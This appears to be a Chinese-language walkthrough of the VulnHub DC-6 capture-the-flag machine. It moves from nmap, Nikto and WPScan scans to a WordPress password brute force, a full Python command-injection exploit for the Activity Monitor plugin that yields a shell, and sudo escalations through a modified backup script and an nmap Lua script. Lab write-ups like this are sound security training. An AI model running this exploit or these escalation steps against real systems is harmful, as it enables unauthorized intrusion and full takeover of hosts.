Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 21:57 CST Warning: 192.168.56.115 giving up on port because retransmission cap hit (10). Nmap scan report for 192.168.56.115 Host is up (0.00075s latency). Not shown: 37431 filtered tcp ports (no-response), 28102 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:E1:6F:2C (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 110.00 seconds
TCP, Service, OS Scan:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 21:59 CST Nmap scan report for 192.168.56.115 Host is up (0.00072s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) 80/tcp open http Apache httpd 2.4.25 ((Debian)) MAC Address: 08:00:27:E1:6F:2C (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.97 seconds
UDP Scan:
1 2 3 4 5 6 7 8
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 21:59 CST Nmap scan report for 192.168.56.115 Host is up (0.0010s latency). All 1000 scanned ports on 192.168.56.115 are in ignored states. Not shown: 958 closed udp ports (port-unreach), 42 open|filtered udp ports (no-response) MAC Address: 08:00:27:E1:6F:2C (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1042.12 seconds
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-03 14:12 CST Nmap scan report for 192.168.56.115 Host is up (0.00023s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-wordpress-users: | Username found: admin | Username found: graham | Username found: mark | Username found: sarah | Username found: jens |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit' | http-enum: | /wp-login.php: Possible admin folder | /readme.html: Wordpress version: 2 | /wp-includes/images/rss.png: Wordpress version 2.2 found. | /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found. | /wp-includes/images/blank.gif: Wordpress version 2.6 found. | /wp-includes/js/comment-reply.js: Wordpress version 2.7 found. | /wp-login.php: Wordpress login page. | /wp-admin/upgrade.php: Wordpress login page. |_ /readme.html: Interesting, a readme. |_http-csrf: Couldn't find any CSRF vulnerabilities. MAC Address: 08:00:27:E1:6F:2C (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 32.25 seconds
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.56.115 + Target Hostname: 192.168.56.115 + Target Port: 80 + Start Time: 2023-06-03 14:13:20 (GMT8) --------------------------------------------------------------------------- + Server: Apache/2.4.25 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: Uncommon header 'x-redirect-by' found, with contents: WordPress. + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + Root page / redirects to: http://wordy/ + /index.php?: Drupal Link header found with value: ARRAY(0x5574d9921688). See: https://www.drupal.org/ + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /wp-links-opml.php: This WordPress script reveals the installed version. + /license.txt: License file found may identify site software. + /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + /wp-login.php: Wordpress login found. + 8102 requests: 0 error(s) and 11 item(s) reported on remote host + End Time: 2023-06-03 14:13:50 (GMT8) (30 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[i] It seems like you have not updated the database for some time. [?] Do you want to update now? [Y]es [N]o, default: [N]Y [i] Updating the Database ... [i] Update completed.
[+] URL: http://wordy/ [192.168.56.115] [+] Started: Sat Jun 3 14:28:44 2023
[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://wordy/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13). | Found By: Rss Generator (Passive Detection) | - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator> | - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
[+] WordPress theme in use: twentyseventeen | Location: http://wordy/wp-content/themes/twentyseventeen/ | Last Updated: 2023-03-29T00:00:00.000Z | Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt | [!] The version is out of date, the latest version is 3.2 | Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 2.1 (80% confidence) | Found By: Style (Passive Detection) | - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'
[+] Enumerating DB Exports (via Passive and Aggressive Methods) Checking DB Exports - Time: 00:00:00 <====================================================> (71 / 71) 100.00% Time: 00:00:00
[i] No DB Exports Found.
[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected) Brute Forcing Attachment IDs - Time: 00:00:01 <=========================================> (100 / 100) 100.00% Time: 00:00:01
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sat Jun 3 14:28:56 2023 [+] Requests Done: 3455 [+] Cached Requests: 8 [+] Data Sent: 892.988 KB [+] Data Received: 13.49 MB [+] Memory used: 299.664 MB [+] Elapsed time: 00:00:12
WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[+] URL: http://wordy/ [192.168.56.115] [+] Started: Sat Jun 3 14:55:39 2023
......
[+] Performing password attack on Xmlrpc against 5 user/s Trying mark / here Time: 00:00:09 <======================================================> (445 / 445) 100.00% Time: 00:00:09
[i] No Valid Passwords Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sat Jun 3 14:55:53 2023 [+] Requests Done: 618 [+] Cached Requests: 5 [+] Data Sent: 264.483 KB [+] Data Received: 632.724 KB [+] Memory used: 252.391 MB [+] Elapsed time: 00:00:14
可惜没有成功,那我们就拿rockyou跑吧。
但是rockyou太大了,跑完到猴年马月。但是幸好作者给我们了一个小提示:
CLUE
OK, this isn’t really a clue as such, but more of some “we don’t want to spend five years waiting for a certain process to finish” kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)
WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[+] URL: http://wordy/ [192.168.56.115] [+] Started: Sat Jun 3 14:56:04 2023
......
[+] Performing password attack on Xmlrpc against 5 user/s [SUCCESS] - mark / helpdesk01 Trying jens / !lak019b Time: 00:04:24 <====================================== > (12547 / 15215) 82.46% ETA: ??:??:??
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sat Jun 3 15:00:32 2023 [+] Requests Done: 12687 [+] Cached Requests: 38 [+] Data Sent: 6.214 MB [+] Data Received: 7.403 MB [+] Memory used: 289.926 MB [+] Elapsed time: 00:04:28
""" ------------------------- Usage: ┌──(root@kali)-[~/tools] └─# python3 WordPress-Activity-Monitor-RCE.py What's your target IP? 192.168.101.28 What's your username? mark What's your password? password123 [*] Please wait... [*] Perfect! www-data@192.168.101.28 whoami www-data www-data@192.168.101.28 pwd /var/www/html/wp-admin www-data@192.168.101.28 id uid=33(www-data) gid=33(www-data) groups=33(www-data) """
import requests from bs4 import BeautifulSoup
defexploit(whoami, ip): while1: cmd = input(whoami+"@"+ip+" ") url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools' payload = "google.com.tr | " + cmd data = {'ip': payload , 'lookup' : 'lookup' } x = requests.post(url, data = data, cookies=getCookie(ip)) html_doc = x.text.split("<p>Output from dig: </p>")[1] soup = BeautifulSoup(html_doc, 'html.parser') print(soup.p.text)
defpoc(ip): url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools' myobj = {'ip': 'google.fr | whoami', 'lookup' : 'lookup' } x = requests.post(url, data = myobj, cookies=getCookie(ip)) html_doc = x.text.split("<p>Output from dig: </p>")[1] soup = BeautifulSoup(html_doc, 'html.parser') print("[*] Perfect! ") exploit(soup.p.text, ip)
defgetCookie(ip): url = 'http://' + ip + '/wp-login.php' #log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&testcookie=1 data = {'log':username, 'pwd':password, 'wp-submit':'Log In', 'testcookie':'1'} x = requests.post(url, data = data) cookies = {} cookie = str(x.headers["Set-Cookie"])
for i in cookie.split(): if(i.find("wordpress") != -1and i.find("=") != -1): cookies[i.split("=")[0]] = i.split("=")[1][:len(i.split("=")[1])-1] return cookies
ip = input("What's your target IP?\n") username = input("What's your username?\n") password = input("What's your password?\n") print("[*] Please wait...") poc(ip)
根据usage,我们尝试利用get shell。
1 2 3 4 5 6 7 8 9 10 11
┌──(kali㉿kali)-[~/vulnhub/DC/6/workSpace] └─$ python3 50110.py What's your target IP? 192.168.56.115 What's your username? mark What's your password? helpdesk01 [*] Please wait... [*] Perfect! www-data@192.168.56.115
www-data@dc-6:/var/www/html$ cat wp-config.php cat wp-config.php <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://codex.wordpress.org/Editing_wp-config.php * * @package WordPress */
// ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */
www-data@dc-6:/home$ cd mark cd mark www-data@dc-6:/home/mark$ ls -la ls -la total 28 drwxr-xr-x 3 mark mark 4096 Apr 26 2019 . drwxr-xr-x 6 root root 4096 Apr 26 2019 .. -rw------- 1 mark mark 5 Apr 26 2019 .bash_history -rw-r--r-- 1 mark mark 220 Apr 24 2019 .bash_logout -rw-r--r-- 1 mark mark 3526 Apr 24 2019 .bashrc -rw-r--r-- 1 mark mark 675 Apr 24 2019 .profile drwxr-xr-x 2 mark mark 4096 Apr 26 2019 stuff www-data@dc-6:/home/mark$ cd stuff cd stuff www-data@dc-6:/home/mark/stuff$ ls -la ls -la total 12 drwxr-xr-x 2 mark mark 4096 Apr 26 2019 . drwxr-xr-x 3 mark mark 4096 Apr 26 2019 .. -rw-r--r-- 1 mark mark 241 Apr 26 2019 things-to-do.txt www-data@dc-6:/home/mark/stuff$ cat thin cat things-to-do.txt Things to do:
- Restore full functionality for the hyperdrive (need to speak to Jens) - Buy present for Sarah's farewell party - Add new user: graham - GSo7isUM1D4 - done - Apply for the OSCP course - Buy new laptop for Sarah's replacement
发现还是mark老哥能处,不仅网站登录密码简单,还给我们带来了新的登陆凭证 graham - GSo7isUM1D4。 ssh登陆一下
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. graham@dc-6:~$
非常的对。
1 2 3 4 5 6
graham@dc-6:~$ sudo -l Matching Defaults entries for graham on dc-6: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User graham may run the following commands on dc-6: (jens) NOPASSWD: /home/jens/backups.sh
graham@dc-6:/home/jens$ vim backups.sh graham@dc-6:/home/jens$ cat backups.sh #!/bin/bash tar -czf backups.tar.gz /var/www/html /bin/bash graham@dc-6:/home/jens$ sudo -u jens ./backups.sh tar: Removing leading `/' from member names jens@dc-6:~$ whoami jens
我们看看jens的sudo权限,发现可以使用nmap,那我们直接利用nmap的自定义脚本提权。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
jens@dc-6:~$ sudo -l Matching Defaults entries for jens on dc-6: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jens may run the following commands on dc-6: (root) NOPASSWD: /usr/bin/nmap jens@dc-6:~$ sudo nmap --interactive nmap: unrecognized option '--interactive' See the output of nmap -h for a summary of options. jens@dc-6:~$ TF=$(mktemp) jens@dc-6:~$ echo'os.execute("/bin/bash")' > $TF jens@dc-6:~$ sudo nmap --script=$TF
Starting Nmap 7.40 ( https://nmap.org ) at 2023-06-03 18:14 AEST NSE: Warning: Loading '/tmp/tmp.tjVS1DLp9J' -- the recommended file extension is '.nse'. root@dc-6:/home/jens#
Hope you enjoyed DC-6. Just wanted to send a big thanks out there to all those who have provided feedback, and who have taken time to complete these little challenges.
If you enjoyed this CTF, send me a tweet via @DCAU7.